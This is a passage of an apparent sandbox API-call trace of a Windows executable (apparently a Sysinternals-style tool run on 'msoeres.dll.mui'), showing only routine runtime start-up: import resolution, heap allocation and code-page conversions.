0x76ec6f53 [0134.098] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleMode") returned 0x76e3a77d [0134.098] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0134.098] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0134.098] GetProcAddress (hModule=0x76e10000, lpProcName="ExitThread") returned 0x7737d598 [0134.239] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryExW") returned 0x76e2495d [0134.239] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0134.239] GetProcAddress (hModule=0x76e10000, lpProcName="FlushFileBuffers") returned 0x76e2469b [0134.239] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0134.239] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleCP") returned 0x76ec7bff [0134.239] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0134.239] GetProcAddress (hModule=0x76e10000, lpProcName="IsProcessorFeaturePresent") returned 0x76e25235 [0134.239] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0134.239] GetProcAddress (hModule=0x76e10000, lpProcName="GetStartupInfoW") returned 0x76e24d40 [0134.239] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0134.239] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0134.240] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0134.240] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0134.240] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0134.240] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0134.240] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0134.240] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0134.240] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0134.240] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidCodePage") returned 0x76e24493 [0134.240] GetProcAddress (hModule=0x76e10000, lpProcName="GetACP") returned 0x76e2179c [0134.240] GetProcAddress (hModule=0x76e10000, lpProcName="GetOEMCP") returned 0x76e4d1a1 [0134.240] GetProcAddress (hModule=0x76e10000, lpProcName="GetCPInfo") returned 0x76e25189 [0134.240] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0134.240] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0134.240] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0134.241] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0134.241] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0134.241] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentStringsW") returned 0x76e251e3 [0134.241] GetProcAddress (hModule=0x76e10000, lpProcName="FreeEnvironmentStringsW") returned 0x76e251cb [0134.241] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0134.241] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0134.241] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x754b0000 [0134.241] GetProcAddress (hModule=0x754b0000, lpProcName="GetTokenInformation") returned 0x754c431c [0134.241] GetProcAddress (hModule=0x754b0000, lpProcName="RegDeleteKeyW") returned 0x754c1272 [0134.241] GetProcAddress (hModule=0x754b0000, lpProcName="LookupPrivilegeValueW") returned 0x754c41b3 [0134.241] GetProcAddress (hModule=0x754b0000, lpProcName="AdjustTokenPrivileges") returned 0x754c418e [0134.241] GetProcAddress (hModule=0x754b0000, lpProcName="OpenProcessToken") returned 0x754c4304 [0134.241] GetProcAddress (hModule=0x754b0000, lpProcName="RegSetValueExW") returned 0x754c14d6 [0134.241] GetProcAddress (hModule=0x754b0000, lpProcName="RegQueryValueExW") returned 0x754c46ad [0134.242] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyExW") returned 0x754c468d [0134.242] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyW") returned 0x754c2459 [0134.242] GetProcAddress (hModule=0x754b0000, lpProcName="RegCreateKeyW") returned 0x754c1514 [0134.242] GetProcAddress (hModule=0x754b0000, lpProcName="RegCloseKey") returned 0x754c469d [0134.242] GetProcAddress (hModule=0x754b0000, lpProcName="LookupAccountSidW") returned 0x754c4874 [0134.242] LoadLibraryA (lpLibFileName="COMDLG32.dll") returned 0x764b0000 [0134.242] GetProcAddress (hModule=0x764b0000, lpProcName="PrintDlgW") returned 0x764b33a3 [0134.242] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x752d0000 [0134.242] GetProcAddress (hModule=0x752d0000, lpProcName="StartPage") returned 0x7531401a [0134.242] GetProcAddress (hModule=0x752d0000, lpProcName="EndDoc") returned 0x75313f29 [0134.242] GetProcAddress (hModule=0x752d0000, lpProcName="StartDocW") returned 0x75314c51 [0134.242] GetProcAddress (hModule=0x752d0000, lpProcName="SetMapMode") returned 0x752eb02f [0134.242] GetProcAddress (hModule=0x752d0000, lpProcName="GetDeviceCaps") returned 0x752e4de0 [0134.242] GetProcAddress (hModule=0x752d0000, lpProcName="EndPage") returned 0x752f6bde [0134.242] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76780000 [0134.243] GetProcAddress (hModule=0x76780000, lpProcName="SendMessageW") returned 0x76799679 [0134.243] GetProcAddress (hModule=0x76780000, lpProcName="DialogBoxIndirectParamW") returned 0x767bcbf3 [0134.243] GetProcAddress (hModule=0x76780000, lpProcName="EndDialog") returned 0x767bb99c [0134.243] GetProcAddress (hModule=0x76780000, lpProcName="LoadCursorW") returned 0x767988f7 [0134.243] GetProcAddress (hModule=0x76780000, lpProcName="InflateRect") returned 0x767a3309 [0134.243] GetProcAddress (hModule=0x76780000, lpProcName="GetSysColorBrush") returned 0x767a35a4 [0134.243] GetProcAddress (hModule=0x76780000, lpProcName="SetCursor") returned 0x767a41f6 [0134.243] GetProcAddress (hModule=0x76780000, lpProcName="SetWindowTextW") returned 0x767a20ec [0134.243] GetProcAddress (hModule=0x76780000, lpProcName="GetDlgItem") returned 0x767bf1ba [0134.243] LoadLibraryA (lpLibFileName="VERSION.dll") returned 0x74290000 [0134.243] GetProcAddress (hModule=0x74290000, lpProcName="GetFileVersionInfoW") returned 0x742919f4 [0134.243] GetProcAddress (hModule=0x74290000, lpProcName="VerQueryValueW") returned 0x74291b51 [0134.243] GetProcAddress (hModule=0x74290000, lpProcName="GetFileVersionInfoSizeW") returned 0x742919d9 [0134.243] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0134.244] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0134.244] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xf343cfa0, dwHighDateTime=0x1d5d06a)) [0134.244] GetCurrentThreadId () returned 0x560 [0134.244] GetCurrentProcessId () returned 0x594 [0134.244] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=27619645345) returned 1 [0134.244] GetProcessHeap () returned 0x510000 [0134.244] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0134.245] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0134.245] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0134.245] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0134.245] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0134.245] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0134.245] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventExW") returned 0x76ea410b [0134.245] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreExW") returned 0x76ea4195 [0134.245] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadStackGuarantee") returned 0x76e2d31f [0134.245] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolTimer") returned 0x76e3ee7e [0134.245] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolTimer") returned 0x7736441c [0134.245] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7738c50e [0134.245] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolTimer") returned 0x7738c381 [0134.245] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWait") returned 0x76e3f088 [0134.245] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolWait") returned 0x773705d7 [0134.246] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWait") returned 0x7738ca24 [0134.246] GetProcAddress (hModule=0x76e10000, lpProcName="FlushProcessWriteBuffers") returned 0x77340b8c [0134.246] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x773ffde8 [0134.246] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessorNumber") returned 0x77391e1d [0134.246] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalProcessorInformation") returned 0x76ea4761 [0134.246] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSymbolicLinkW") returned 0x76e9cd11 [0134.246] GetProcAddress (hModule=0x76e10000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0134.246] GetProcAddress (hModule=0x76e10000, lpProcName="EnumSystemLocalesEx") returned 0x76ea424f [0134.246] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringEx") returned 0x76ea46b1 [0134.246] GetProcAddress (hModule=0x76e10000, lpProcName="GetDateFormatEx") returned 0x76eb6676 [0134.246] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoEx") returned 0x76ea4751 [0134.246] GetProcAddress (hModule=0x76e10000, lpProcName="GetTimeFormatEx") returned 0x76eb65f1 [0134.246] GetProcAddress (hModule=0x76e10000, lpProcName="GetUserDefaultLocaleName") returned 0x76ea47c1 [0134.247] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidLocaleName") returned 0x76ea47e1 [0134.247] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0134.247] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentPackageId") returned 0x0 [0134.247] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount64") returned 0x76e3eee0 [0134.247] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0134.247] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0134.247] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x3bc) returned 0x5260d0 [0134.247] GetCurrentThreadId () returned 0x560 [0134.247] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x526498 [0134.248] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x800) returned 0x5264b8 [0134.248] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula \"msoeres.dll.mui\" -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40ad42, hStdOutput=0x9cd44825, hStdError=0x0)) [0134.248] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0134.248] GetFileType (hFile=0x3) returned 0x2 [0134.248] GetStdHandle (nStdHandle=0xfffffff5) returned 0x80 [0134.248] GetFileType (hFile=0x80) returned 0x3 [0134.248] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0134.248] GetFileType (hFile=0xb) returned 0x2 [0134.248] GetCommandLineW () returned="bv6ncK8c.exe -accepteula \"msoeres.dll.mui\" -nobanner" [0134.248] GetEnvironmentStringsW () returned 0x526cc0* [0134.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xb86) returned 0x527850 [0134.249] FreeEnvironmentStringsW (penv=0x526cc0) returned 1 [0134.249] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x426ea0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0134.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7a) returned 0x526cc0 [0134.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xa0) returned 0x526d48 [0134.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x3e) returned 0x5283f8 [0134.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x6c) returned 0x526df0 [0134.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x6e) returned 0x526e68 [0134.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x78) returned 0x51f8f0 [0134.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x62) returned 0x526ee0 [0134.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x2e) returned 0x526f50 [0134.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x48) returned 0x526f88 [0134.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x2a) returned 0x526fd8 [0134.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x28) returned 0x527010 [0134.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x1a) returned 0x525aa0 [0134.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x4a) returned 0x527040 [0134.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x72) returned 0x51f970 [0134.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x30) returned 0x527098 [0134.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x2e) returned 0x5270d0 [0134.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x1c) returned 0x525ac8 [0134.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xd2) returned 0x527108 [0134.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x7c) returned 0x5271e8 [0134.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x36) returned 0x527270 [0134.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x3a) returned 0x528440 [0134.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x90) returned 0x5272b0 [0134.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x24) returned 0x527348 [0134.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x30) returned 0x527378 [0134.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x36) returned 0x5273b0 [0134.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x48) returned 0x5273f0 [0134.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x52) returned 0x527440 [0134.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x3c) returned 0x528488 [0134.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x18) returned 0x5274a0 [0134.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x82) returned 0x5274c0 [0134.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x2e) returned 0x527550 [0134.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x1e) returned 0x525af0 [0134.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x2c) returned 0x527588 [0134.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x54) returned 0x5275c0 [0134.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x52) returned 0x527620 [0134.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x2a) returned 0x527680 [0134.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x3c) returned 0x5284d0 [0134.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x54) returned 0x5276b8 [0134.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x24) returned 0x527718 [0134.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x30) returned 0x527748 [0134.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x8c) returned 0x527780 [0134.250] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x527850 | out: hHeap=0x510000) returned 1 [0134.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x800) returned 0x527818 [0134.250] GetLastError () returned 0x0 [0134.251] SetLastError (dwErrCode=0x0) [0134.251] GetLastError () returned 0x0 [0134.251] SetLastError (dwErrCode=0x0) [0134.251] GetLastError () returned 0x0 [0134.251] SetLastError (dwErrCode=0x0) [0134.251] GetACP () returned 0x4e4 [0134.251] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x220) returned 0x528020 [0134.251] GetLastError () returned 0x0 [0134.251] SetLastError (dwErrCode=0x0) [0134.251] IsValidCodePage (CodePage=0x4e4) returned 1 [0134.251] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fecc | out: lpCPInfo=0x18fecc) returned 1 [0134.251] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f994 | out: lpCPInfo=0x18f994) returned 1 [0134.251] GetLastError () returned 0x0 [0134.251] SetLastError (dwErrCode=0x0) [0134.251] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0134.251] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f718, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0134.251] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9a8 | out: lpCharType=0x18f9a8) returned 1 [0134.251] GetLastError () returned 0x0 [0134.251] SetLastError (dwErrCode=0x0) [0134.251] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0134.251] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0134.251] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0134.251] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0134.251] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fca8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿµIÔ\x9cäþ\x18", lpUsedDefaultChar=0x0) returned 256 [0134.251] GetLastError () returned 0x0 [0134.252] SetLastError (dwErrCode=0x0) [0134.252] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0134.252] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0134.252] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 